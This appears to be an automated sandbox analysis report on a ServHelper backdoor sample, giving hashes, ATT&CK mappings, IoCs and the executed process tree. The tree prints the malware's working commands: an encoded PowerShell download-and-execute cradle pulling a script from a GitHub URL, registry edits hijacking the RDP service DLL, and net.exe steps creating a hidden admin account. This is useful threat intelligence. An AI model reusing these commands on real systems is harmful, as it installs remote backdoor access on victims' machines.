servhelper | c8259fbe6995239c22a918f08e6cde30c181a725e9a1c379adbef5ecfbd35d63

Analysis

max time kernel
123s
max time network
130s
platform
windows7_x64
resource
win7v20210410
submitted
29-05-2021 07:26

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General

Target

52abd9b0522751f14763b92baf4afa37.exe
Size

6.0MB
MD5

52abd9b0522751f14763b92baf4afa37
SHA1

fd96f6abb4517f9c8d8add8cf46a88c2dc12d247
SHA256

c8259fbe6995239c22a918f08e6cde30c181a725e9a1c379adbef5ecfbd35d63
SHA512

b41342efbb7a4f06e6584d5550946f30870e539c8bd118bd0d3734e0b90bc345ada9689b0b71786807e05e7f8a43a551644ac77418aacf0932faae5f33dd5e0c

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	872	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1712	icacls.exe
1632	icacls.exe
1900	takeown.exe
1292	icacls.exe
304	icacls.exe
596	icacls.exe
1196	icacls.exe
556	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0004000000013162-183.dat	upx
behavioral1/files/0x0005000000013171-184.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
1256	Process not Found
1256	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1900	takeown.exe
1292	icacls.exe
304	icacls.exe
596	icacls.exe
1196	icacls.exe
556	icacls.exe
1712	icacls.exe
1632	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_42668725-25cb-4df5-850b-473322ca8175	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9dcc93ad-7d18-4fc0-ad37-db5c3ad6c6b3	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_20a38f6e-6018-41a3-bdb4-e517a3b73caa	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_744e8d14-36b3-41da-8919-78d5202a42bd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_efb6a0a4-73d0-4ac0-9e75-ecc78194ed63	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a03369fb-a6d1-4e12-9ae3-366bc3ead06b	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b55cee97-c63a-44f6-af9d-59e039d76fa2	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_90f30ea5-bb82-4341-bba7-6c79204a2722	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_438d5e56-06fb-4f13-9b69-48a7369c9915	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_83596923-1b5f-4fd3-9fc1-bc8df65a5b26	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\E57ML48QFU4MM61QE762.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_45d06ee2-896d-455b-9c52-5737e4cac3bb	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d07586795b54d701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1832	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1296	powershell.exe
1296	powershell.exe
568	powershell.exe
568	powershell.exe
308	powershell.exe
308	powershell.exe
1104	powershell.exe
1104	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
872	powershell.exe
872	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
464	Process not Found
1256	Process not Found
1256	Process not Found
1256	Process not Found
1256	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1296	powershell.exe
Token: SeDebugPrivilege	568	powershell.exe
Token: SeDebugPrivilege	308	powershell.exe
Token: SeDebugPrivilege	1104	powershell.exe
Token: SeRestorePrivilege	304	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1424	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1424	WMIC.exe
Token: SeAuditPrivilege	1424	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1424	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1424	WMIC.exe
Token: SeAuditPrivilege	1424	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1832	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1832	WMIC.exe
Token: SeAuditPrivilege	1832	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1832	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1832	WMIC.exe
Token: SeAuditPrivilege	1832	WMIC.exe
Token: SeDebugPrivilege	872	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1088 wrote to memory of 1296	1088	52abd9b0522751f14763b92baf4afa37.exe	29
PID 1088 wrote to memory of 1296	1088	52abd9b0522751f14763b92baf4afa37.exe	29
PID 1088 wrote to memory of 1296	1088	52abd9b0522751f14763b92baf4afa37.exe	29
PID 1296 wrote to memory of 288	1296	powershell.exe	31
PID 1296 wrote to memory of 288	1296	powershell.exe	31
PID 1296 wrote to memory of 288	1296	powershell.exe	31
PID 288 wrote to memory of 472	288	csc.exe	32
PID 288 wrote to memory of 472	288	csc.exe	32
PID 288 wrote to memory of 472	288	csc.exe	32
PID 1296 wrote to memory of 568	1296	powershell.exe	33
PID 1296 wrote to memory of 568	1296	powershell.exe	33
PID 1296 wrote to memory of 568	1296	powershell.exe	33
PID 1296 wrote to memory of 308	1296	powershell.exe	35
PID 1296 wrote to memory of 308	1296	powershell.exe	35
PID 1296 wrote to memory of 308	1296	powershell.exe	35
PID 1296 wrote to memory of 1104	1296	powershell.exe	37
PID 1296 wrote to memory of 1104	1296	powershell.exe	37
PID 1296 wrote to memory of 1104	1296	powershell.exe	37
PID 1296 wrote to memory of 1900	1296	powershell.exe	40
PID 1296 wrote to memory of 1900	1296	powershell.exe	40
PID 1296 wrote to memory of 1900	1296	powershell.exe	40
PID 1296 wrote to memory of 1292	1296	powershell.exe	41
PID 1296 wrote to memory of 1292	1296	powershell.exe	41
PID 1296 wrote to memory of 1292	1296	powershell.exe	41
PID 1296 wrote to memory of 304	1296	powershell.exe	42
PID 1296 wrote to memory of 304	1296	powershell.exe	42
PID 1296 wrote to memory of 304	1296	powershell.exe	42
PID 1296 wrote to memory of 596	1296	powershell.exe	43
PID 1296 wrote to memory of 596	1296	powershell.exe	43
PID 1296 wrote to memory of 596	1296	powershell.exe	43
PID 1296 wrote to memory of 1196	1296	powershell.exe	44
PID 1296 wrote to memory of 1196	1296	powershell.exe	44
PID 1296 wrote to memory of 1196	1296	powershell.exe	44
PID 1296 wrote to memory of 556	1296	powershell.exe	45
PID 1296 wrote to memory of 556	1296	powershell.exe	45
PID 1296 wrote to memory of 556	1296	powershell.exe	45
PID 1296 wrote to memory of 1712	1296	powershell.exe	46
PID 1296 wrote to memory of 1712	1296	powershell.exe	46
PID 1296 wrote to memory of 1712	1296	powershell.exe	46
PID 1296 wrote to memory of 1632	1296	powershell.exe	47
PID 1296 wrote to memory of 1632	1296	powershell.exe	47
PID 1296 wrote to memory of 1632	1296	powershell.exe	47
PID 1296 wrote to memory of 568	1296	powershell.exe	48
PID 1296 wrote to memory of 568	1296	powershell.exe	48
PID 1296 wrote to memory of 568	1296	powershell.exe	48
PID 1296 wrote to memory of 1832	1296	powershell.exe	49
PID 1296 wrote to memory of 1832	1296	powershell.exe	49
PID 1296 wrote to memory of 1832	1296	powershell.exe	49
PID 1296 wrote to memory of 1604	1296	powershell.exe	50
PID 1296 wrote to memory of 1604	1296	powershell.exe	50
PID 1296 wrote to memory of 1604	1296	powershell.exe	50
PID 1296 wrote to memory of 1608	1296	powershell.exe	51
PID 1296 wrote to memory of 1608	1296	powershell.exe	51
PID 1296 wrote to memory of 1608	1296	powershell.exe	51
PID 1608 wrote to memory of 1140	1608	net.exe	52
PID 1608 wrote to memory of 1140	1608	net.exe	52
PID 1608 wrote to memory of 1140	1608	net.exe	52
PID 1296 wrote to memory of 1160	1296	powershell.exe	53
PID 1296 wrote to memory of 1160	1296	powershell.exe	53
PID 1296 wrote to memory of 1160	1296	powershell.exe	53
PID 1160 wrote to memory of 912	1160	cmd.exe	54
PID 1160 wrote to memory of 912	1160	cmd.exe	54
PID 1160 wrote to memory of 912	1160	cmd.exe	54
PID 912 wrote to memory of 964	912	cmd.exe	55

C:\Users\Admin\AppData\Local\Temp\52abd9b0522751f14763b92baf4afa37.exe
"C:\Users\Admin\AppData\Local\Temp\52abd9b0522751f14763b92baf4afa37.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1296
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nyuph52z\nyuph52z.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:288
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4BA0.tmp" "c:\Users\Admin\AppData\Local\Temp\nyuph52z\CSC77467EC5686E4C9F96A2AF266DB28A6D.TMP"
      4⤵
      PID:472
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:568
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:308
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1104
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1900
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1292
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:304
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:596
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1196
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:556
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1712
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1632
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:568
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1832
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1604
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1608
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1140
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1160
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:912
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:964
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1648
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:936
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:528
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:588
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1448
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1060
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:288

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:1272
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1424
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1220

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc cVhEhtiY /add
1⤵
PID:1556
- C:\Windows\system32\net.exe
  net.exe user wgautilacc cVhEhtiY /add
  2⤵
  PID:892
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc cVhEhtiY /add
    3⤵
    PID:856

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1376
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:940
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:964

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
1⤵
PID:1228
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
  2⤵
  PID:1184
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
    3⤵
    PID:1712

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1272
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1612
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:1320

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc cVhEhtiY
1⤵
PID:856
- C:\Windows\system32\net.exe
  net.exe user wgautilacc cVhEhtiY
  2⤵
  PID:912
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc cVhEhtiY
    3⤵
    PID:1160

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1376
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1424

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:308
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1832

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:524
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1556
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:872

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:1952
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:856
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:304

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/308-127-0x000000001AD20000-0x000000001AD22000-memory.dmp

Filesize
8KB

Download
memory/308-134-0x0000000002790000-0x0000000002791000-memory.dmp

Filesize
4KB

Download
memory/308-135-0x00000000023B0000-0x00000000023B1000-memory.dmp

Filesize
4KB

Download
memory/308-132-0x000000001B830000-0x000000001B831000-memory.dmp

Filesize
4KB

Download
memory/308-130-0x0000000002690000-0x0000000002691000-memory.dmp

Filesize
4KB

Download
memory/308-128-0x000000001AD24000-0x000000001AD26000-memory.dmp

Filesize
8KB

Download
memory/568-95-0x000000001ADB4000-0x000000001ADB6000-memory.dmp

Filesize
8KB

Download
memory/568-120-0x000000001B870000-0x000000001B871000-memory.dmp

Filesize
4KB

Download
memory/568-107-0x000000001BE30000-0x000000001BE31000-memory.dmp

Filesize
4KB

Download
memory/568-102-0x0000000002430000-0x0000000002431000-memory.dmp

Filesize
4KB

Download
memory/568-101-0x000000001ACE0000-0x000000001ACE1000-memory.dmp

Filesize
4KB

Download
memory/568-99-0x000000001B7E0000-0x000000001B7E1000-memory.dmp

Filesize
4KB

Download
memory/568-97-0x0000000002680000-0x0000000002681000-memory.dmp

Filesize
4KB

Download
memory/568-94-0x000000001ADB0000-0x000000001ADB2000-memory.dmp

Filesize
8KB

Download
memory/568-121-0x000000001B880000-0x000000001B881000-memory.dmp

Filesize
4KB

Download
memory/872-208-0x000000001948A000-0x00000000194A9000-memory.dmp

Filesize
124KB

Download
memory/872-206-0x0000000019484000-0x0000000019486000-memory.dmp

Filesize
8KB

Download
memory/872-205-0x0000000019480000-0x0000000019482000-memory.dmp

Filesize
8KB

Download
memory/1088-60-0x0000000041860000-0x0000000041C81000-memory.dmp

Filesize
4.1MB

Download
memory/1088-65-0x00000000413B7000-0x00000000413B8000-memory.dmp

Filesize
4KB

Download
memory/1088-63-0x00000000413B4000-0x00000000413B6000-memory.dmp

Filesize
8KB

Download
memory/1088-62-0x00000000413B2000-0x00000000413B4000-memory.dmp

Filesize
8KB

Download
memory/1088-64-0x00000000413B6000-0x00000000413B7000-memory.dmp

Filesize
4KB

Download
memory/1104-149-0x000000001AB30000-0x000000001AB32000-memory.dmp

Filesize
8KB

Download
memory/1104-150-0x000000001AB34000-0x000000001AB36000-memory.dmp

Filesize
8KB

Download
memory/1296-75-0x000000001AAE0000-0x000000001AAE1000-memory.dmp

Filesize
4KB

Download
memory/1296-71-0x000000001ABB0000-0x000000001ABB2000-memory.dmp

Filesize
8KB

Download
memory/1296-96-0x000000001ABBA000-0x000000001ABD9000-memory.dmp

Filesize
124KB

Download
memory/1296-72-0x000000001ABB4000-0x000000001ABB6000-memory.dmp

Filesize
8KB

Download
memory/1296-160-0x000000001C5B0000-0x000000001C5B1000-memory.dmp

Filesize
4KB

Download
memory/1296-73-0x0000000002710000-0x0000000002711000-memory.dmp

Filesize
4KB

Download
memory/1296-67-0x000007FEFBBF1000-0x000007FEFBBF3000-memory.dmp

Filesize
8KB

Download
memory/1296-87-0x00000000027D0000-0x00000000027D1000-memory.dmp

Filesize
4KB

Download
memory/1296-86-0x000000001C150000-0x000000001C151000-memory.dmp

Filesize
4KB

Download
memory/1296-85-0x000000001B740000-0x000000001B741000-memory.dmp

Filesize
4KB

Download
memory/1296-68-0x0000000002080000-0x0000000002081000-memory.dmp

Filesize
4KB

Download
memory/1296-69-0x000000001AC30000-0x000000001AC31000-memory.dmp

Filesize
4KB

Download
memory/1296-70-0x0000000002530000-0x0000000002531000-memory.dmp

Filesize
4KB

Download
memory/1296-83-0x00000000020D0000-0x00000000020D1000-memory.dmp

Filesize
4KB

Download